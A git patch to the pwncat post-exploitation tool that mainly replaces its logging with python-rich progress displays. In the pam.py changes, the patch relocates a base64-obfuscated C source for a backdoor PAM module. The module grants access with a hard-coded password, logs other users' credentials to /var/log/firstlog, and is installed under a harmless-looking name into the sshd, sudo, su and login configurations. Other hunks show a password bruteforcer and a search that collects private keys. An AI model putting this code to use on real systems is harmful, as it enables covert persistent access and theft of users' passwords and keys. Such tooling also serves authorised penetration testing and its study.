From 93e39b9a479576b669ab148fd19c64c68d1f76b1 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Mon, 6 Jul 2020 22:40:14 -0400 Subject: [PATCH] Finished implementing new logging with python-rich --- pwncat/commands/__init__.py | 13 ++-- pwncat/commands/bind.py | 7 +- pwncat/commands/bruteforce.py | 48 ++++++++----- pwncat/commands/busybox.py | 18 ++--- pwncat/commands/connect.py | 24 +++---- pwncat/commands/enumerate.py | 76 ++++++++++++--------- pwncat/commands/exit.py | 4 +- pwncat/commands/help.py | 7 +- pwncat/commands/persist.py | 44 ++++++++---- pwncat/enumerate/private_key.py | 6 -- pwncat/persist/pam.py | 116 +++++++++++++++++--------------- pwncat/privesc/sudo.py | 3 - pwncat/util.py | 46 +------------ setup.py | 2 +- 14 files changed, 208 insertions(+), 206 deletions(-) diff --git a/pwncat/commands/__init__.py b/pwncat/commands/__init__.py index ee552a7..1031c20 100644 --- a/pwncat/commands/__init__.py +++ b/pwncat/commands/__init__.py @@ -36,7 +36,6 @@ import pwncat import pwncat.db from pwncat.commands.base import CommandDefinition, Complete from pwncat.util import State, console -from pwncat import util def resolve_blocks(source: str): @@ -187,8 +186,8 @@ class CommandParser: try: self.dispatch_line(command) except Exception as exc: - util.error( - f"{Fore.CYAN}{name}{Fore.RESET}: {Fore.YELLOW}{command}{Fore.RESET}: {str(exc)}" + console.log( + f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}" ) break @@ -244,7 +243,7 @@ class CommandParser: # Spit the line with shell rules argv = shlex.split(line) except ValueError as e: - util.error(e.args[0]) + console.log(f"[red]error[/red]: {e.args[0]}") return if argv[0][0] in self.shortcuts: @@ -262,12 +261,12 @@ class CommandParser: if argv[0] in self.aliases: command = self.aliases[argv[0]] else: - util.error(f"{argv[0]}: unknown command") + console.log(f"[red]error[/red]: {argv[0]}: unknown command") return if not self.loading_complete and not command.LOCAL: - util.error( - f"{argv[0]}: non-local commands cannot run until after session setup." + console.log( + f"[red]error[/red]: {argv[0]}: non-local command use before connection" ) return diff --git a/pwncat/commands/bind.py b/pwncat/commands/bind.py index 0475bed..73cca03 100644 --- a/pwncat/commands/bind.py +++ b/pwncat/commands/bind.py @@ -5,7 +5,7 @@ from prompt_toolkit.keys import ALL_KEYS, Keys import pwncat from pwncat.commands.base import CommandDefinition, Complete, Parameter from pwncat.config import KeyType -from pwncat import util +from pwncat.util import console from colorama import Fore import string @@ -29,11 +29,8 @@ class Command(CommandDefinition): def run(self, args): if args.key is None: - util.info("currently assigned key-bindings:") for key, binding in pwncat.victim.config.bindings.items(): - print( - f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}" - ) + console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]") elif args.key is not None and args.script is None: if args.key in pwncat.victim.config.bindings: del pwncat.victim.config.bindings[args.key] diff --git a/pwncat/commands/bruteforce.py b/pwncat/commands/bruteforce.py index 45e4421..eb07110 100644 --- a/pwncat/commands/bruteforce.py +++ b/pwncat/commands/bruteforce.py @@ -1,7 +1,8 @@ #!/usr/bin/env python3 import argparse +from rich.progress import Progress -from pwncat import util +from pwncat.util import console from pwncat.commands.base import CommandDefinition, Complete, Parameter import pwncat @@ -41,19 +42,36 @@ class Command(CommandDefinition): def run(self, args): - for name in args.user: - args.dictionary.seek(0) - for line in args.dictionary: - line = line.strip() - util.progress(f"bruteforcing {name}: {line}") + with Progress( + "bruteforcing", + "[blue]{task.description}", + "•", + "[cyan]{task.fields[password]}", + ) as progress: + tasks = [ + progress.add_task(name, password="", start=False) for name in args.user + ] + for i, name in enumerate(args.user): + args.dictionary.seek(0) + progress.start_task(tasks[i]) + for line in args.dictionary: + line = line.strip() - try: - # Attempt the password - pwncat.victim.su(name, line, check=True) - pwncat.victim.users[name].password = line - util.success(f"user {name} has password {repr(line)}!") - break - except PermissionError: - continue + progress.update(tasks[i], password=line) - util.success("bruteforcing completed") + try: + # Attempt the password + pwncat.victim.su(name, line, check=True) + pwncat.victim.users[name].password = line + progress.update( + tasks[i], + password=f"password is [green]{repr(line)}[/green]", + ) + break + except PermissionError: + continue + else: + progress.update( + tasks[i], password="[red]failed[/red]: no password found" + ) + progress.stop_task(tasks[i]) diff --git a/pwncat/commands/busybox.py b/pwncat/commands/busybox.py index 1aefb83..4599dc7 100644 --- a/pwncat/commands/busybox.py +++ b/pwncat/commands/busybox.py @@ -10,7 +10,7 @@ from pwncat.commands.base import ( StoreConstOnce, StoreForAction, ) -from pwncat import util +from pwncat.util import console class Command(CommandDefinition): @@ -64,11 +64,11 @@ class Command(CommandDefinition): pwncat.victim.bootstrap_busybox(args.url) elif args.action == "list": if pwncat.victim.host.busybox is None: - util.error( - "busybox hasn't been installed yet (hint: run 'busybox --install'" + console.log( + "[red]error[/red]: " + "busybox is not installed (hint: run 'busybox --install')" ) return - util.info("binaries which the remote busybox provides:") # Find all binaries which are provided by busybox provides = pwncat.victim.session.query(pwncat.db.Binary).filter( @@ -77,13 +77,13 @@ class Command(CommandDefinition): ) for binary in provides: - print(f" * {binary.name}") + console.print(f" - {binary.name}") elif args.action == "status": if pwncat.victim.host.busybox is None: - util.error("busybox hasn't been installed yet") + console.log("[red]error[/red]: busybox hasn't been installed yet") return - util.info( - f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}" + console.log( + f"busybox is installed to: [blue]{pwncat.victim.host.busybox}[/blue]" ) # Find all binaries which are provided from busybox @@ -96,4 +96,4 @@ class Command(CommandDefinition): .with_entities(func.count()) .scalar() ) - util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets") + console.log(f"busybox provides [green]{nprovides}[/green] applets") diff --git a/pwncat/commands/connect.py b/pwncat/commands/connect.py index f946072..d2cea3d 100644 --- a/pwncat/commands/connect.py +++ b/pwncat/commands/connect.py @@ -8,7 +8,6 @@ from prompt_toolkit import prompt from rich.progress import Progress, BarColumn import pwncat -from pwncat import util from pwncat.util import console from pwncat.commands.base import ( CommandDefinition, @@ -185,7 +184,7 @@ class Command(CommandDefinition): # Connect to the remote host's ssh server sock = socket.create_connection((args.host, args.port)) except Exception as exc: - util.error(str(exc)) + console.log(f"[red]error[/red]: {str(exc)}") return # Create a paramiko SSH transport layer around the socket @@ -194,7 +193,7 @@ class Command(CommandDefinition): t.start_client() except paramiko.SSHException: sock.close() - util.error("ssh negotiation failed") + console.log("[red]error[/red]: ssh negotiation failed") return if args.identity: @@ -209,12 +208,12 @@ class Command(CommandDefinition): try: t.auth_publickey(args.user, key) except paramiko.ssh_exception.AuthenticationException as exc: - util.error(f"authentication failed: {exc}") + console.log(f"[red]error[/red]: authentication failed: {exc}") else: try: t.auth_password(args.user, args.password) except paramiko.ssh_exception.AuthenticationException as exc: - util.error(f"authentication failed: {exc}") + console.log(f"[red]error[/red]: authentication failed: {exc}") if not t.is_authenticated(): t.close() @@ -234,14 +233,13 @@ class Command(CommandDefinition): try: addr = ipaddress.ip_address(args.host) - util.progress(f"enumerating persistence methods for {addr}") host = ( pwncat.victim.session.query(pwncat.db.Host) .filter_by(ip=str(addr)) .first() ) if host is None: - util.error(f"{args.host}: not found in database") + console.log(f"[red]error[/red]: {args.host}: not found in database") return host_hash = host.hash except ValueError: @@ -251,19 +249,19 @@ class Command(CommandDefinition): try: pwncat.victim.reconnect(host_hash, args.method, args.user) except PersistenceError as exc: - util.error(f"{args.host}: connection failed") + console.log(f"[red]error[/red]: {args.host}: {exc}") return elif args.action == "list": if pwncat.victim.session is not None: for host in pwncat.victim.session.query(pwncat.db.Host): if len(host.persistence) == 0: continue - print( - f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}" + console.print( + f"[magenta]{host.ip}[/magenta] - [red]{host.distro}[/red] - [yellow]{host.hash}[/yellow]" ) for p in host.persistence: - print( - f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}" + console.print( + f" - [blue]{p.method}[/blue] as [green]{p.user if p.user else 'system'}[/green]" ) else: - util.error(f"{args.action}: invalid action") + console.log(f"[red]error[/red]: {args.action}: invalid action") diff --git a/pwncat/commands/enumerate.py b/pwncat/commands/enumerate.py index a8a0230..addee46 100644 --- a/pwncat/commands/enumerate.py +++ b/pwncat/commands/enumerate.py @@ -6,9 +6,11 @@ from typing import List, Dict import pytablewriter from colorama import Fore, Style from pytablewriter import MarkdownTableWriter +from rich.progress import Progress, BarColumn import pwncat from pwncat import util +from pwncat.util import console from pwncat.commands.base import ( CommandDefinition, Complete, @@ -320,18 +322,23 @@ class Command(CommandDefinition): "system.package", ] - util.progress("enumerating report_data") - for fact in pwncat.victim.enumerate(): - util.progress(f"enumerating report_data: {fact.data}") - if fact.type in ignore_types: - continue - if fact.type not in report_data: - report_data[fact.type] = {} - if fact.source not in report_data[fact.type]: - report_data[fact.type][fact.source] = [] - report_data[fact.type][fact.source].append(fact) - - util.erase_progress() + with Progress( + "enumerating report data", + "•", + "[cyan]{task.fields[status]}", + transient=True, + console=console, + ) as progress: + task = progress.add_task("", status="initializing") + for fact in pwncat.victim.enumerate(): + progress.update(task, status=str(fact.data)) + if fact.type in ignore_types: + continue + if fact.type not in report_data: + report_data[fact.type] = {} + if fact.source not in report_data[fact.type]: + report_data[fact.type][fact.source] = [] + report_data[fact.type][fact.source].append(fact) try: with open(report_path, "w") as filp: @@ -359,9 +366,9 @@ class Command(CommandDefinition): continue self.render_section(filp, typ, report_data[typ]) - util.success(f"enumeration report written to {report_path}") - except OSError: - self.parser.error(f"{report_path}: failed to open output file") + console.log(f"enumeration report written to [cyan]{report_path}[/cyan]") + except OSError as exc: + console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}") def render_section(self, filp, typ: str, sources: Dict[str, List[pwncat.db.Fact]]): """ @@ -399,29 +406,34 @@ class Command(CommandDefinition): types = typ if isinstance(typ, list) else [typ] - util.progress("enumerating facts") - for typ in types: - for fact in pwncat.victim.enumerate.iter( - typ, filter=lambda f: provider is None or f.source == provider - ): - util.progress(f"enumerating facts: {fact.data}") - if fact.type not in data: - data[fact.type] = {} - if fact.source not in data[fact.type]: - data[fact.type][fact.source] = [] - data[fact.type][fact.source].append(fact) - - util.erase_progress() + with Progress( + "enumerating facts", + "•", + "[cyan]{task.fields[status]}", + transient=True, + console=console, + ) as progress: + task = progress.add_task("", status="initializing") + for typ in types: + for fact in pwncat.victim.enumerate.iter( + typ, filter=lambda f: provider is None or f.source == provider + ): + progress.update(task, status=str(fact.data)) + if fact.type not in data: + data[fact.type] = {} + if fact.source not in data[fact.type]: + data[fact.type][fact.source] = [] + data[fact.type][fact.source].append(fact) for typ, sources in data.items(): for source, facts in sources.items(): - print( - f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}" + console.print( + f"[bright_yellow]{typ.upper()}[/bright_yellow] Facts by [blue]{source}[/blue]" ) for fact in facts: - print(f" {fact.data}") + console.print(f" {fact.data}") if long and getattr(fact.data, "description", None) is not None: - print(textwrap.indent(fact.data.description, " ")) + console.print(textwrap.indent(fact.data.description, " ")) def flush_facts(self, typ: str, provider: str): """ Flush all facts that match criteria """ diff --git a/pwncat/commands/exit.py b/pwncat/commands/exit.py index 69a0ac1..2b97405 100644 --- a/pwncat/commands/exit.py +++ b/pwncat/commands/exit.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -from pwncat import util +from pwncat.util import console from pwncat.commands.base import CommandDefinition, Complete, Parameter @@ -23,7 +23,7 @@ class Command(CommandDefinition): # Ensure we confirmed we want to exit if not args.yes: - util.error("exit not confirmed") + console.log("[red]error[/red]: exit not confirmed (use '--yes')") return # Get outa here! diff --git a/pwncat/commands/help.py b/pwncat/commands/help.py index ddaf46f..078b5b4 100644 --- a/pwncat/commands/help.py +++ b/pwncat/commands/help.py @@ -4,7 +4,7 @@ import textwrap import pwncat from pwncat.commands import CommandParser from pwncat.commands.base import CommandDefinition, Complete, Parameter -from pwncat import util +from pwncat.util import console class Command(CommandDefinition): @@ -26,9 +26,8 @@ class Command(CommandDefinition): if command.parser is not None: command.parser.print_help() else: - print(textwrap.dedent(command.__doc__).strip()) + console.print(textwrap.dedent(command.__doc__).strip()) break else: - util.info("the following commands are available:") for command in pwncat.victim.command_parser.commands: - print(f" * {command.PROG}") + console.print(f" - {command.PROG}") diff --git a/pwncat/commands/persist.py b/pwncat/commands/persist.py index 5177f71..3a2d1d7 100644 --- a/pwncat/commands/persist.py +++ b/pwncat/commands/persist.py @@ -3,6 +3,15 @@ import textwrap from typing import Dict, Type, Tuple, Iterator from colorama import Fore, Style +from rich.progress import ( + BarColumn, + DownloadColumn, + TextColumn, + TransferSpeedColumn, + TimeRemainingColumn, + Progress, + TaskID, +) import pwncat from pwncat.util import console @@ -111,18 +120,29 @@ class Command(CommandDefinition): def clean_methods(self): """ Remove all persistence methods from the victim """ - util.progress("cleaning persistence methods: ") - for user, method in pwncat.victim.persist.installed: - try: - util.progress(f"cleaning persistance methods: {method.format(user)}") - pwncat.victim.persist.remove(method.name, user) - util.success(f"removed {method.format(user)}") - except PersistenceError as exc: - util.erase_progress() - util.warn( - f"{method.format(user)}: removal failed: {exc}\n", overlay=True - ) - util.erase_progress() + with Progress( + "cleaning", + "{task.fields[method]}", + BarColumn(bar_width=None), + "[progress.percentage]{task.percentage:>3.1f}%", + console=console, + ) as progress: + installed = list(pwncat.victim.persist.installed) + + task = progress.add_task("", method="initializing", total=len(installed)) + + for user, method in installed: + try: + progress.update(task, method=method.format(user)) + pwncat.victim.persist.remove(method.name, user) + except PersistenceError as exc: + progress.log( + f"[yellow]warning[/yellow]: {method.format(user)}: " + f"removal failed: {exc}" + ) + progress.update(task, advance=1) + + progress.update(task, method="[bold green]complete") def run(self, args): diff --git a/pwncat/enumerate/private_key.py b/pwncat/enumerate/private_key.py index 75c40cf..d1a5ed3 100644 --- a/pwncat/enumerate/private_key.py +++ b/pwncat/enumerate/private_key.py @@ -50,8 +50,6 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]: data = [] - util.progress("enumerating private keys") - # Search for private keys in common locations with pwncat.victim.subprocess( "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null" @@ -59,14 +57,10 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]: for line in pipe: line = line.strip().decode("utf-8").split(" ") uid, path = int(line[0]), " ".join(line[1:]) - util.progress(f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}") data.append(PrivateKeyFact(uid, path, None, False)) for fact in data: try: - util.progress( - f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}" - ) with pwncat.victim.open(fact.path, "r") as filp: fact.content = filp.read().strip().replace("\r\n", "\n") diff --git a/pwncat/persist/pam.py b/pwncat/persist/pam.py index 888eb90..cca5f35 100644 --- a/pwncat/persist/pam.py +++ b/pwncat/persist/pam.py @@ -6,6 +6,8 @@ import os import textwrap from typing import Optional +from rich.progress import Progress + import pwncat from pwncat import util from pwncat.persist import PersistenceMethod, PersistenceError @@ -30,6 +32,46 @@ class Method(PersistenceMethod): name = "pam" # We can leverage this to escalate locally local = True + # Source to our module + sneaky_source = textwrap.dedent( + """ + I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j + bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz + eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB + TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu + dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7 + CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y + ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg + PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg + cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7 + CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH + Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo + IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp + bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk + X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp + ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg + ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm + KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg + IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y + ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg + ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz + dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi + X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50 + ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK + CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN + X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn + cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7 + Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg + ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO + T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw + YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy + biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o + YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK + ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r + KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy + Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==""" + ).replace("\n", "") + sneaky_source = base64.b64decode(sneaky_source).decode("utf-8") def install(self, user: Optional[str] = None): """ Install the persistence method """ @@ -52,48 +94,6 @@ class Method(PersistenceMethod): # SELinux not found pass - # Source to our module - sneaky_source = textwrap.dedent( - """ -I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j -bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz -eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB -TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu -dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7 -CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y -ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg -PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg -cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7 -CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH -Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo -IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp -bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk -X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp -ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg -ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm -KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg -IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y -ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg -ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz -dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi -X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50 -ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK -CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN -X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn -cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7 -Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg -ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO -T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw -YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy -biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o -YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK -ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r -KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy -Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== - """ - ).replace("\n", "") - sneaky_source = base64.b64decode(sneaky_source).decode("utf-8") - # We use the backdoor password. Build the string of encoded bytes # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...}; password = hashlib.sha1( @@ -102,15 +102,25 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== password = ",".join(hex(c) for c in password) # Insert our key - sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password) + sneaky_source = self.sneaky_source.replace("__PWNCAT_HASH__", password) # Insert the log location for successful passwords sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog") + progress = Progress( + "installing pam module", + "•", + "[cyan]{task.fields[status]}", + transient=True, + console=console, + ) + task = progress.add_task("", status="initializing") + # Write the source try: + progress.start() - util.progress("pam_sneaky: compiling shared library") + progress.update(task, status="compiling shared library") try: # Compile our source for the remote host @@ -123,7 +133,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== except (FileNotFoundError, CompilationError) as exc: raise PersistenceError(f"pam: compilation failed: {exc}") - util.progress("pam_sneaky: locating pam module location") + progress.update(task, status="locating pam module installation") # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" @@ -141,24 +151,24 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== except FileNotFoundError: pass - util.progress(f"pam_sneaky: pam modules located in {pam_modules}") + progress.update(task, status=f"pam modules located at {pam_modules}") # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Copy the module to a non-suspicious path - util.progress(f"pam_sneaky: copying shared library to {pam_modules}") + progress.update(task, status="copying shared library") pwncat.victim.env( ["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")] ) new_line = "auth\tsufficient\tpam_succeed.so\n" - util.progress(f"pam_sneaky: adding pam auth configuration") + progress.update(task, status="adding pam auth configuration") # Add this auth method to the following pam configurations for config in ["sshd", "sudo", "su", "login"]: - util.progress( - f"pam_sneaky: adding pam auth configuration: {config}" + progress.update( + task, status=f"adding pam auth configuration: {config}" ) config = os.path.join("/etc/pam.d", config) try: @@ -197,11 +207,11 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== pwncat.victim.tamper.created_file("/var/log/firstlog") - util.erase_progress() - except FileNotFoundError as exc: # A needed binary wasn't found. Clean up whatever we created. raise PersistenceError(str(exc)) + finally: + progress.stop() def remove(self, user: Optional[str] = None): """ Remove this method """ @@ -255,7 +265,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== raise PersistenceError("insufficient permissions") except FileNotFoundError as exc: # Uh-oh, some binary was missing... I'm not sure what to do here... - util.error(str(exc)) + console.log(f"[red]error[/red]: {exc}") def escalate(self, user: Optional[str] = None) -> bool: """ Utilize this method to escalate locally """ diff --git a/pwncat/privesc/sudo.py b/pwncat/privesc/sudo.py index 2ad286f..8264196 100644 --- a/pwncat/privesc/sudo.py +++ b/pwncat/privesc/sudo.py @@ -51,9 +51,6 @@ class Method(BaseMethod): # The rule appears to match, add it to the list rules.append(fact.data) - # We don't need that progress after this is complete - util.erase_progress() - for rule in rules: for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability): progress.update(task, step=str(rule)) diff --git a/pwncat/util.py b/pwncat/util.py index 14a399e..f48e13e 100644 --- a/pwncat/util.py +++ b/pwncat/util.py @@ -339,53 +339,11 @@ LAST_PROG_ANIM = -1 def erase_progress(): - """ Erase the last progress line. Useful for progress messages for long-running - tasks, which don't need (or want) to be logged to the terminal """ - global LAST_LOG_MESSAGE - - return - - sys.stdout.write( - len(LAST_LOG_MESSAGE[0]) * "\b" - + len(LAST_LOG_MESSAGE[0]) * " " - + len(LAST_LOG_MESSAGE[0]) * "\b" - ) - LAST_LOG_MESSAGE = (LAST_LOG_MESSAGE[0], False) + raise RuntimeError("new-logging: please use the rich module for logging") def log(level, message, overlay=False): - global 